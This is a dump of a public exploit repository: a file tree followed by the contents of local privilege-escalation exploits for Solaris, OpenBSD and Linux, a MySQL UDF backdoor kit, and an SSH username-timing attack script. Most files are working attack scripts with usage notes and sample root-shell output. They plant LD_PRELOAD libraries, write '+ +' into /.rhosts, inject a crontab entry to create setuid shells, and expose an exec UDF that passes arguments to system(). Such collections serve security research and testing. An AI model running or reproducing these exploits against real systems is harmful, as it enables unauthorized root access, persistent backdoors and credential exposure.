├── .img └── xdev.jpg ├── linux ├── raptor_truecrypt │ ├── pwned.tc │ ├── pwned.key │ ├── pwned.txt │ └── raptor_truecrypt ├── raptor_chown.c ├── raptor_ldaudit ├── raptor_ldaudit2 ├── raptor_prctl.c ├── raptor_prctl2.c └── raptor_exim_wiz ├── mysql ├── raptor_winudf │ ├── raptor_winudf.sql │ ├── src │ │ ├── MySQL_UDFs.ncb │ │ ├── MySQL_UDFs.suo │ │ ├── ShellTest │ │ │ ├── function_exec.cpp │ │ │ ├── ShellTest.h │ │ │ ├── ShellTest.vcproj │ │ │ └── ShellTest.cpp │ │ └── MySQL_UDFs.sln │ ├── bin │ │ └── ShellTest.txt │ └── README ├── raptor_udf.c └── raptor_udf2.c ├── solaris ├── raptor_ucbps ├── raptor_libnspr ├── raptor_libnspr2 ├── raptor_xscreensaver ├── raptor_solgasm ├── raptor_libnspr3 ├── raptor_sysinfo.c ├── raptor_peek.c ├── raptor_libdthelp.c ├── raptor_dtprintname_sparc.c ├── raptor_dtprintname_intel.c ├── raptor_dtsession_ipa.c ├── raptor_ldpreload.c ├── raptor_dtprintcheckdir_intel2.c ├── raptor_sdtcm_conv.c ├── raptor_xkb.c ├── raptor_dtprintcheckdir_intel.c ├── raptor_libdthelp2.c └── raptor_dtprintname_sparc2.c ├── LICENSE ├── openbsd ├── raptor_xorgasm └── raptor_opensmtpd.pl ├── misc ├── raptor_sshtime ├── raptor_xorgy └── raptor_dominohash ├── oracle ├── raptor_orafile.sql ├── raptor_oraextproc.sql └── raptor_oraexec.sql ├── aix └── raptor_libC ├── zyxel ├── raptor_fermion └── raptor_zysh_fhtagn.exp └── README.md /.img/xdev.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/exploits/HEAD/.img/xdev.jpg -------------------------------------------------------------------------------- /linux/raptor_truecrypt/pwned.tc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/exploits/HEAD/linux/raptor_truecrypt/pwned.tc -------------------------------------------------------------------------------- /mysql/raptor_winudf/raptor_winudf.sql: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/exploits/HEAD/mysql/raptor_winudf/raptor_winudf.sql -------------------------------------------------------------------------------- /mysql/raptor_winudf/src/MySQL_UDFs.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/exploits/HEAD/mysql/raptor_winudf/src/MySQL_UDFs.ncb -------------------------------------------------------------------------------- /mysql/raptor_winudf/src/MySQL_UDFs.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/exploits/HEAD/mysql/raptor_winudf/src/MySQL_UDFs.suo -------------------------------------------------------------------------------- /linux/raptor_truecrypt/pwned.key: -------------------------------------------------------------------------------- 1 | # raptor_truecrypt - setuid truecrypt privilege escalation 2 | # Copyright (c) 2007 Marco Ivaldi 3 | -------------------------------------------------------------------------------- /mysql/raptor_winudf/bin/ShellTest.txt: -------------------------------------------------------------------------------- 1 | ShellTest.dll removed because of this: 2 | https://twitter.com/0xdea/status/801200868343193600 3 | 4 | You can download the complete exploit from here: 5 | http://www.0xdeadbeef.info/exploits/raptor_winudf.zip (ZIP password is "0xdeadbeef") 6 | -------------------------------------------------------------------------------- /mysql/raptor_winudf/src/ShellTest/function_exec.cpp: -------------------------------------------------------------------------------- 1 | #include "shelltest.h" 2 | 3 | EXTERN int EXPORT exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) 4 | { 5 | 6 | if( args->arg_count != 1 ) 7 | return(0); 8 | 9 | system(args->args[0]); 10 | 11 | return(0); 12 | } 13 | 14 | EXTERN char EXPORT exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) 15 | { 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /mysql/raptor_winudf/README: -------------------------------------------------------------------------------- 1 | $Id: README,v 1.1.1.1 2007/02/06 10:59:53 raptor Exp $ 2 | 3 | raptor_winudf.tgz - A MySQL UDF backdoor kit for Windows 4 | Copyright (c) 2007 Marco Ivaldi 5 | 6 | This is a MySQL backdoor kit for Windows based on the UDFs (User Defined 7 | Functions) mechanism. Use it to spawn a reverse shell (netcat UDF on port 8 | 80/tcp) or to execute single OS commands (exec UDF). Don't forget to edit 9 | the MySQL bin path in SQL source according to your target's configuration. 10 | 11 | Package contents: 12 | 13 | ./README This file 14 | ./bin/ShellTest.dll Binary (compiled) DLL 15 | ./src/* Visual Studio C++ sources 16 | 17 | How to create a dump of your custom binary file: 18 | 19 | # mysql -h 192.168.0.203 20 | mysql> use mysql; 21 | mysql> create table foo(line blob); 22 | mysql> insert into foo values(load_file('c:/mysql/bin/shelltest.dll')); 23 | mysql> quit 24 | # mysqldump -h 192.168.0.203 mysql foo > shelltest.sql 25 | -------------------------------------------------------------------------------- /linux/raptor_truecrypt/pwned.txt: -------------------------------------------------------------------------------- 1 | $Id: pwned.txt,v 1.1.1.1 2007/04/04 11:31:56 raptor Exp $ 2 | 3 | raptor_truecrypt - setuid truecrypt privilege escalation 4 | Copyright (c) 2007 Marco Ivaldi 5 | 6 | How to create your own evil truecrypt volume: 7 | 8 | # id 9 | uid=0(root) gid=0(root) groups=0(root) 10 | # echo whatever > pwned.key 11 | # truecrypt --type normal --filesystem none --size 256000 --encryption AES \ 12 | --hash SHA-1 --keyfile pwned.key --create pwned.tc 13 | Enter password for new volume 'pwned.tc': 14 | Re-enter password: 15 | 16 | TrueCrypt will now collect random data. 17 | 18 | [...] 19 | 20 | Done: 0.00 MB Speed: 0.00 MB/s Left: 0:02:47 21 | Volume created. 22 | # truecrypt --keyfile pwned.key pwned.tc 23 | Enter password for '/root/test/pwned.tc': 24 | # mke2fs /dev/mapper/truecrypt0 25 | 26 | [...] 27 | 28 | # mount /dev/mapper/truecrypt0 /mnt 29 | # cd /mnt 30 | # chmod 777 . 31 | # rm -fr lost+found 32 | # truecrypt -d /mnt 33 | -------------------------------------------------------------------------------- /mysql/raptor_winudf/src/MySQL_UDFs.sln: -------------------------------------------------------------------------------- 1 | Microsoft Visual Studio Solution File, Format Version 8.00 2 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellTest", "ShellTest\ShellTest.vcproj", "{B320B350-025B-4429-B246-4672DC151AC9}" 3 | ProjectSection(ProjectDependencies) = postProject 4 | EndProjectSection 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfiguration) = preSolution 8 | Debug = Debug 9 | Release = Release 10 | EndGlobalSection 11 | GlobalSection(ProjectConfiguration) = postSolution 12 | {B320B350-025B-4429-B246-4672DC151AC9}.Debug.ActiveCfg = Debug|Win32 13 | {B320B350-025B-4429-B246-4672DC151AC9}.Debug.Build.0 = Debug|Win32 14 | {B320B350-025B-4429-B246-4672DC151AC9}.Release.ActiveCfg = Release|Win32 15 | {B320B350-025B-4429-B246-4672DC151AC9}.Release.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(ExtensibilityGlobals) = postSolution 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityAddIns) = postSolution 20 | EndGlobalSection 21 | EndGlobal 22 | -------------------------------------------------------------------------------- /solaris/raptor_ucbps: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_ucbps,v 1.1 2006/07/26 10:57:10 raptor Exp $ 5 | # 6 | # raptor_ucbps - information leak with Solaris /usr/ucb/ps 7 | # Copyright (c) 2006 Marco Ivaldi 8 | # 9 | # A security vulnerability in the "/usr/ucb/ps" (see ps(1B)) command may allow 10 | # unprivileged local users the ability to see environment variables and their 11 | # values for processes which belong to other users (Sun Alert ID: 102215). 12 | # 13 | # Absolutely nothing fancy, but it may turn out to be useful;) 14 | # 15 | # Usage: 16 | # $ chmod +x raptor_ucbps 17 | # $ ./raptor_ucbps 18 | # [...] 19 | # 20 | # Vulnerable platforms (SPARC): 21 | # Solaris 8 without patch 109023-05 [tested] 22 | # Solaris 9 without patch 120240-01 [tested] 23 | # 24 | # Vulnerable platforms (x86): 25 | # Solaris 8 without patch 109024-05 [untested] 26 | # Solaris 9 without patch 120239-01 [untested] 27 | # 28 | 29 | echo "raptor_ucbps - information leak with Solaris /usr/ucb/ps" 30 | echo "Copyright (c) 2006 Marco Ivaldi " 31 | echo 32 | 33 | /usr/ucb/ps -auxgeww 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 1998-2017 Marco Ivaldi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /mysql/raptor_winudf/src/ShellTest/ShellTest.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #define READ_PIPE_BUFFER_SIZE 32 8 | #define READ_PIPE_LOOP_SLEEP_TIME 5 9 | 10 | #ifdef __cplusplus 11 | #define EXTERN extern "C" 12 | #else 13 | #define EXTERN 14 | #endif 15 | 16 | #ifdef _MSC_VER 17 | #define EXPORT __declspec(dllexport) 18 | #endif 19 | 20 | enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; 21 | 22 | typedef struct st_udf_args 23 | { 24 | unsigned int arg_count; 25 | enum Item_result *arg_type; 26 | char **args; 27 | unsigned long *lengths; 28 | char *maybe_null; 29 | } UDF_ARGS; 30 | 31 | typedef struct st_udf_init 32 | { 33 | char maybe_null; 34 | unsigned int decimals; 35 | unsigned long max_length; 36 | char *ptr; 37 | char const_item; 38 | } UDF_INIT; 39 | 40 | typedef struct 41 | { 42 | HANDLE hPipeHandle; 43 | SOCKET sSocket; 44 | } THREAD_PARAM, *PTHREAD_PARAM; 45 | 46 | static VOID ProcessInThread(PTHREAD_PARAM ptpParam); 47 | static VOID ProcessOutThread(PTHREAD_PARAM ptpParam); 48 | void Report(LPTSTR lpErrorMessage, DWORD dwErrorCode, BOOL bTerminateProcess); -------------------------------------------------------------------------------- /solaris/raptor_libnspr: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_libnspr,v 1.4 2006/10/23 16:25:34 raptor Exp $ 5 | # 6 | # raptor_libnspr - Solaris 10 libnspr oldschool local root 7 | # Copyright (c) 2006 Marco Ivaldi 8 | # 9 | # Local exploitation of a design error vulnerability in version 4.6.1 of 10 | # NSPR, as included with Sun Microsystems Solaris 10, allows attackers to 11 | # create or overwrite arbitrary files on the system. The problem exists 12 | # because environment variables are used to create log files. Even when the 13 | # program is setuid, users can specify a log file that will be created with 14 | # elevated privileges (CVE-2006-4842). 15 | # 16 | # Usage: 17 | # $ chmod +x raptor_libnspr 18 | # $ ./raptor_libnspr 19 | # [...] 20 | # # id 21 | # uid=0(root) gid=0(root) 22 | # # rm /.rhosts 23 | # # 24 | # 25 | # Vulnerable platforms (SPARC): 26 | # Solaris 10 without patch 119213-10 [tested] 27 | # 28 | # Vulnerable platforms (x86): 29 | # Solaris 10 without patch 119214-10 [untested] 30 | # 31 | 32 | echo "raptor_libnspr - Solaris 10 libnspr oldschool local root" 33 | echo "Copyright (c) 2006 Marco Ivaldi " 34 | echo 35 | 36 | # prepare the environment 37 | NSPR_LOG_MODULES=all:5 38 | NSPR_LOG_FILE=/.rhosts 39 | export NSPR_LOG_MODULES NSPR_LOG_FILE 40 | 41 | # gimme -rw-rw-rw-! 42 | umask 0 43 | 44 | # setuid program linked to /usr/lib/mps/libnspr4.so 45 | /usr/bin/chkey 46 | 47 | # other good setuid targets 48 | #/usr/bin/passwd 49 | #/usr/bin/lp 50 | #/usr/bin/cancel 51 | #/usr/bin/lpset 52 | #/usr/bin/lpstat 53 | #/usr/lib/lp/bin/netpr 54 | #/usr/sbin/lpmove 55 | #/usr/bin/su 56 | #/usr/bin/mailq 57 | 58 | # oldschool rhosts foo;) 59 | echo "+ +" > $NSPR_LOG_FILE 60 | rsh -l root localhost sh -i 61 | -------------------------------------------------------------------------------- /solaris/raptor_libnspr2: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_libnspr2,v 1.6 2006/10/23 16:25:34 raptor Exp $ 5 | # 6 | # raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit 7 | # Copyright (c) 2006 Marco Ivaldi 8 | # 9 | # Local exploitation of a design error vulnerability in version 4.6.1 of 10 | # NSPR, as included with Sun Microsystems Solaris 10, allows attackers to 11 | # create or overwrite arbitrary files on the system. The problem exists 12 | # because environment variables are used to create log files. Even when the 13 | # program is setuid, users can specify a log file that will be created with 14 | # elevated privileges (CVE-2006-4842). 15 | # 16 | # Newschool version of local root exploit via LD_PRELOAD (hi KF!). Other 17 | # possible (but less l33t;) attack vectors are: /var/spool/cron/atjobs, 18 | # /root/.ssh/authorized_keys, /root/.bash{rc,_profile,logout}, /etc/rc?.d. 19 | # 20 | # See also: http://www.0xdeadbeef.info/exploits/raptor_libnspr 21 | # 22 | # Usage: 23 | # $ chmod +x raptor_libnspr2 24 | # $ ./raptor_libnspr2 25 | # [...] 26 | # Sun Microsystems Inc. SunOS 5.10 Generic January 2005 27 | # # id 28 | # uid=0(root) gid=0(root) 29 | # # rm /usr/lib/secure/getuid.so 30 | # # 31 | # 32 | # Vulnerable platforms (SPARC): 33 | # Solaris 10 without patch 119213-10 [tested] 34 | # 35 | # Vulnerable platforms (x86): 36 | # Solaris 10 without patch 119214-10 [untested] 37 | # 38 | 39 | echo "raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit" 40 | echo "Copyright (c) 2006 Marco Ivaldi " 41 | echo 42 | 43 | # prepare the environment 44 | NSPR_LOG_MODULES=all:5 45 | NSPR_LOG_FILE=/usr/lib/secure/getuid.so 46 | export NSPR_LOG_MODULES NSPR_LOG_FILE 47 | 48 | # gimme -rw-rw-rw-! 49 | umask 0 50 | 51 | # setuid program linked to /usr/lib/mps/libnspr4.so 52 | /usr/bin/chkey 53 | 54 | # other good setuid targets 55 | #/usr/bin/passwd 56 | #/usr/bin/lp 57 | #/usr/bin/cancel 58 | #/usr/bin/lpset 59 | #/usr/bin/lpstat 60 | #/usr/lib/lp/bin/netpr 61 | #/usr/sbin/lpmove 62 | #/usr/bin/su 63 | #/usr/bin/mailq 64 | 65 | # prepare the evil shared library 66 | echo "int getuid(){return 0;}" > /tmp/getuid.c 67 | gcc -fPIC -Wall -g -O2 -shared -o /usr/lib/secure/getuid.so /tmp/getuid.c -lc 68 | if [ $? -ne 0 ]; then 69 | echo "problems compiling evil shared library, check your gcc" 70 | exit 1 71 | fi 72 | 73 | # newschool LD_PRELOAD foo;) 74 | unset NSPR_LOG_MODULES NSPR_LOG_FILE 75 | LD_PRELOAD=/usr/lib/secure/getuid.so su - 76 | -------------------------------------------------------------------------------- /openbsd/raptor_xorgasm: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron 5 | # Copyright (c) 2018 Marco Ivaldi 6 | # 7 | # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 8 | # check for -modulepath and -logfile options when starting Xorg. X server 9 | # allows unprivileged users with the ability to log in to the system via 10 | # physical console to escalate their privileges and run arbitrary code under 11 | # root privileges (CVE-2018-14665). 12 | # 13 | # This exploit targets OpenBSD's cron in order to escalate privileges to 14 | # root on OpenBSD 6.3 and 6.4. You don't need to be connected to a physical 15 | # console, it works perfectly on pseudo-terminals connected via SSH as well. 16 | # 17 | # See also: 18 | # https://lists.x.org/archives/xorg-announce/2018-October/002927.html 19 | # https://www.exploit-db.com/exploits/45697/ 20 | # https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850 21 | # 22 | # Usage: 23 | # blobfish$ chmod +x raptor_xorgasm 24 | # blobfish$ ./raptor_xorgasm 25 | # [...] 26 | # Be patient for a couple of minutes... 27 | # [...] 28 | # Don't forget to cleanup and run crontab -e to reload the crontab. 29 | # -rw-r--r-- 1 root wheel 47327 Oct 27 14:48 /etc/crontab 30 | # -rwsrwxrwx 1 root wheel 7417 Oct 27 14:50 /usr/local/bin/pwned 31 | # blobfish# id 32 | # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel) 33 | # 34 | # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): 35 | # OpenBSD 6.4 (Xorg 1.19.6) [tested] 36 | # OpenBSD 6.3 (Xorg 1.19.6) [tested] 37 | # 38 | 39 | echo "raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron" 40 | echo "Copyright (c) 2018 Marco Ivaldi " 41 | 42 | # prepare the payload 43 | cat << EOF > /tmp/xorgasm 44 | cp /bin/sh /usr/local/bin/pwned # fallback in case gcc is not available 45 | echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c 46 | gcc /tmp/pwned.c -o /usr/local/bin/pwned # most dirs are mounted nosuid 47 | chmod 4777 /usr/local/bin/pwned 48 | EOF 49 | chmod +x /tmp/xorgasm 50 | 51 | # trigger the bug 52 | cd /etc 53 | Xorg -fp "* * * * * root /tmp/xorgasm" -logfile crontab :1 & 54 | sleep 5 55 | pkill Xorg 56 | 57 | # run the setuid shell 58 | echo 59 | echo "Be patient for a couple of minutes..." 60 | echo 61 | sleep 120 62 | echo 63 | echo "Don't forget to cleanup and run crontab -e to reload the crontab." 64 | ls -l /etc/crontab* 65 | ls -l /usr/local/bin/pwned 66 | /usr/local/bin/pwned 67 | -------------------------------------------------------------------------------- /solaris/raptor_xscreensaver: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # raptor_xscreensaver - Solaris 11.x LPE via xscreensaver 5 | # Copyright (c) 2019 Marco Ivaldi 6 | # 7 | # Exploitation of a design error vulnerability in xscreensaver, as 8 | # distributed with Solaris 11.x, allows local attackers to create 9 | # (or append to) arbitrary files on the system, by abusing the -log 10 | # command line switch introduced in version 5.06. This flaw can be 11 | # leveraged to cause a denial of service condition or to escalate 12 | # privileges to root. This is a Solaris-specific vulnerability, 13 | # caused by the fact that Oracle maintains a slightly different 14 | # codebase from the upstream one (CVE-2019-3010). 15 | # 16 | # "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs 17 | # "Good hackers force luck." -- ~A. 18 | # 19 | # This exploit targets the /usr/lib/secure/ directory in order 20 | # to escalate privileges with the LD_PRELOAD technique. The 21 | # implementation of other exploitation vectors, including those 22 | # that do not require gcc to be present on the target system, is 23 | # left as an exercise to fellow UNIX hackers;) 24 | # 25 | # Usage: 26 | # raptor@stalker:~$ chmod +x raptor_xscreensaver 27 | # raptor@stalker:~$ ./raptor_xscreensaver 28 | # [...] 29 | # Oracle Corporation SunOS 5.11 11.4 Aug 2018 30 | # root@stalker:~# id 31 | # uid=0(root) gid=0(root) 32 | # root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.* 33 | # 34 | # Vulnerable platforms: 35 | # Oracle Solaris 11 X86 [tested on 11.4 and 11.3] 36 | # Oracle Solaris 11 SPARC [untested] 37 | # 38 | 39 | echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver" 40 | echo "Copyright (c) 2019 Marco Ivaldi " 41 | echo 42 | 43 | # prepare the payload 44 | echo "int getuid(){return 0;}" > /tmp/getuid.c 45 | gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc 46 | if [ $? -ne 0 ]; then 47 | echo "error: problem compiling the shared library, check your gcc" 48 | exit 1 49 | fi 50 | 51 | # check the architecture 52 | LOG=/usr/lib/secure/getuid.so 53 | file /bin/su | grep 64-bit >/dev/null 2>&1 54 | if [ $? -eq 0 ]; then 55 | LOG=/usr/lib/secure/64/getuid.so 56 | fi 57 | 58 | # start our own xserver 59 | # alternatively we can connect back to a valid xserver (e.g. xquartz) 60 | /usr/bin/Xorg :1 & 61 | 62 | # trigger the bug 63 | umask 0 64 | /usr/bin/xscreensaver -display :1 -log $LOG & 65 | sleep 5 66 | 67 | # clean up 68 | pkill -n xscreensaver 69 | pkill -n Xorg 70 | 71 | # LD_PRELOAD-fu 72 | cp /tmp/getuid.so $LOG 73 | LD_PRELOAD=$LOG su - 74 | -------------------------------------------------------------------------------- /misc/raptor_sshtime: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # $Id: raptor_sshtime,v 1.1 2007/02/13 16:29:38 raptor Exp $ 5 | # 6 | # raptor_sshtime - [Open]SSH remote timing attack exploit 7 | # Copyright (c) 2006 Marco Ivaldi 8 | # 9 | # OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately 10 | # sends an error message when a user does not exist, which allows remote 11 | # attackers to determine valid usernames via a timing attack (CVE-2003-0190). 12 | # 13 | # OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions, 14 | # and possibly under limited configurations, allows remote attackers to 15 | # determine valid usernames via timing discrepancies in which responses take 16 | # longer for valid usernames than invalid ones, as demonstrated by sshtime. 17 | # NOTE: as of 20061014, it appears that this issue is dependent on the use of 18 | # manually-set passwords that causes delays when processing /etc/shadow due to 19 | # an increased number of rounds (CVE-2006-5229). 20 | # 21 | # This is a simple shell script based on expect meant to remotely analyze 22 | # timing differences in sshd "Permission denied" replies. Depending on OpenSSH 23 | # version and configuration, it may lead to disclosure of valid usernames. 24 | # 25 | # Usage example: 26 | # [make sure the target hostkey has been approved before] 27 | # ./sshtime 192.168.0.1 dict.txt 28 | # 29 | 30 | # Some vars 31 | port=22 32 | 33 | # Command line 34 | host=$1 35 | dict=$2 36 | 37 | # Local functions 38 | function head() { 39 | echo "" 40 | echo "raptor_sshtime - [Open]SSH remote timing attack exploit" 41 | echo "Copyright (c) 2006 Marco Ivaldi " 42 | echo "" 43 | } 44 | 45 | function foot() { 46 | echo "" 47 | exit 0 48 | } 49 | 50 | function usage() { 51 | head 52 | echo "[make sure the target hostkey has been approved before]" 53 | echo "" 54 | echo "usage : ./sshtime " 55 | echo "example: ./sshtime 192.168.0.1 dict.txt" 56 | foot 57 | } 58 | 59 | function notfound() { 60 | head 61 | echo "error : expect interpreter not found!" 62 | foot 63 | } 64 | 65 | # Check if expect is there 66 | expect=`which expect 2>/dev/null` 67 | if [ $? -ne 0 ]; then 68 | notfound 69 | fi 70 | 71 | # Input control 72 | if [ -z "$2" ]; then 73 | usage 74 | fi 75 | 76 | # Perform the bruteforce attack 77 | head 78 | 79 | for user in `cat $dict` 80 | do 81 | echo -ne "$user@$host\t\t" 82 | (time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase \"password*\" {send \"dummy\r\"} eof {exit}}") 2>&1 | grep real 83 | done 84 | 85 | foot 86 | -------------------------------------------------------------------------------- /linux/raptor_chown.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_chown.c,v 1.1.1.1 2004/12/04 14:35:34 raptor Exp $ 3 | * 4 | * raptor_chown.c - sys_chown missing DAC controls on Linux 5 | * Copyright (c) 2004 Marco Ivaldi 6 | * 7 | * Unknown vulnerability in Linux kernel 2.x may allow local users to 8 | * modify the group ID of files, such as NFS exported files in kernel 9 | * 2.4 (CAN-2004-0497). 10 | * 11 | * "Basically, you can change the group of a file you don't own, but not 12 | * of an SGID executable." -- Solar Designer (0dd) 13 | * 14 | * On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files you 15 | * don't own, even on local filesystems. This may allow a local attacker to 16 | * perform a privilege escalation, e.g. through the following attack vectors: 17 | * 18 | * 1) Target /etc/shadow: on some distros (namely slackware 9.1 and debian 19 | * 3.0, probably others) the shadow group has read access to it. 20 | * 2) Target /dev/mem, /dev/kmem: read arbitrary memory contents. 21 | * 3) Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks. 22 | * 4) Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands. 23 | * 24 | * Usage: 25 | * $ gcc raptor_chown.c -o raptor_chown -Wall 26 | * $ ./raptor_chown /etc/shadow 27 | * [...] 28 | * -rw-r----- 1 root users 500 Mar 25 12:27 /etc/shadow 29 | * 30 | * Vulnerable platforms: 31 | * Linux 2.2.x (on nfs exported files, should be vuln) [untested] 32 | * Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested] 33 | * Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested] 34 | */ 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #define INFO1 "raptor_chown.c - sys_chown missing DAC controls on Linux" 43 | #define INFO2 "Copyright (c) 2004 Marco Ivaldi " 44 | 45 | int main(int argc, char **argv) 46 | { 47 | char cmd[256]; 48 | 49 | /* print exploit information */ 50 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 51 | 52 | /* read command line */ 53 | if (argc != 2) { 54 | fprintf(stderr, "usage: %s file_name\n\n", argv[0]); 55 | exit(1); 56 | } 57 | 58 | /* ninpou: sys_chown no jutsu! */ 59 | if (chown(argv[1], -1, getgid()) < 0) { 60 | switch(errno) { 61 | case EPERM: 62 | fprintf(stderr, "Error: Not vulnerable!\n"); 63 | break; 64 | default: 65 | perror("Error"); 66 | } 67 | exit(1); 68 | } 69 | fprintf(stderr, "Ninpou: sys_chown no jutsu!\n"); 70 | 71 | /* print some output */ 72 | sprintf(cmd, "/bin/ls -l %s", argv[1]); 73 | system(cmd); 74 | 75 | exit(0); 76 | } 77 | -------------------------------------------------------------------------------- /linux/raptor_truecrypt/raptor_truecrypt: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_truecrypt,v 1.1.1.1 2007/04/04 11:31:56 raptor Exp $ 5 | # 6 | # raptor_truecrypt - setuid truecrypt privilege escalation 7 | # Copyright (c) 2007 Marco Ivaldi 8 | # 9 | # TrueCrypt 4.3, when installed setuid root, allows local users to cause a 10 | # denial of service (filesystem unavailability) or gain privileges by mounting 11 | # a crafted TrueCrypt volume, as demonstrated using (1) /usr/bin or (2) another 12 | # user's home directory, a different issue than CVE-2007-1589 (CVE-2007-1738). 13 | # 14 | # WARNING: THIS IS A PROOF OF CONCEPT EXPLOIT TAKING ADVANTAGE OF NPTL THREAD 15 | # LOCAL STORAGE DYNAMIC LINKING MODEL, DO NOT USE IT IF YOU DON'T KNOW HOW IT 16 | # WORKS! YEAH, IT *DOES* REQUIRE SOME TWEAKINGS TO EXPLOIT NON-TLS PLATFORMS! 17 | # 18 | # Other possible attack vectors: /etc/cron.{d,hourly,daily,weekly,monthly}, at 19 | # (/var/spool/atjobs/), xinetd (/etc/xinetd.d), /etc/logrotate.d, and more... 20 | # 21 | # Usage: 22 | # $ tar xvfz raptor_truecrypt.tgz 23 | # $ cd raptor_truecrypt 24 | # $ chmod +x raptor_truecrypt 25 | # $ ./raptor_truecrypt 26 | # raptor_truecrypt - setuid truecrypt privilege escalation 27 | # Copyright (c) 2007 Marco Ivaldi 28 | # 29 | # Mounting the evil volume (press enter at password prompt) 30 | # Enter password for '/home/guest/raptor_truecrypt/pwned.tc': 31 | # # id 32 | # uid=0(root) gid=0(root) groups=0(root) 33 | # # exit 34 | # logout 35 | # Unmounting the evil volume (don't forget to cleanup /tmp) 36 | # $ 37 | # 38 | # Vulnerable platforms: 39 | # TrueCrypt <= 4.3 on GNU/Linux (installed in setuid mode) 40 | # 41 | 42 | echo "raptor_truecrypt - setuid truecrypt privilege escalation" 43 | echo "Copyright (c) 2007 Marco Ivaldi " 44 | echo 45 | 46 | # prepare the evil shared library 47 | echo "int getuid(){return 0;}" > /tmp/getuid.c 48 | gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c 49 | if [ $? -ne 0 ]; then 50 | echo "Error: problems compiling evil shared library, check your gcc" 51 | exit 1 52 | fi 53 | 54 | # for setuid binaries only libraries that are also setuid will be loaded 55 | chmod +s /tmp/getuid.so 56 | 57 | # mount the evil volume over /lib/tls;) 58 | echo "Mounting the evil volume (press enter at password prompt)" 59 | truecrypt --keyfile pwned.key pwned.tc /lib/tls 60 | if [ $? -ne 0 ]; then 61 | echo "Error: /lib/tls does not exist or truecrypt is not vulnerable" 62 | exit 1 63 | fi 64 | 65 | # do the trick! 66 | ln -s /tmp/getuid.so /lib/tls 67 | LD_PRELOAD=getuid.so su - 68 | 69 | # cleanup and bye 70 | echo "Unmounting the evil volume (don't forget to cleanup /tmp)" 71 | rm -f /lib/tls/getuid.so 72 | truecrypt -d /lib/tls 73 | -------------------------------------------------------------------------------- /mysql/raptor_udf.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_udf.c,v 1.1.1.1 2004/12/04 14:35:33 raptor Exp $ 3 | * 4 | * raptor_udf.c - dynamic library for do_system() MySQL UDF 5 | * Copyright (c) 2004 Marco Ivaldi 6 | * 7 | * This is 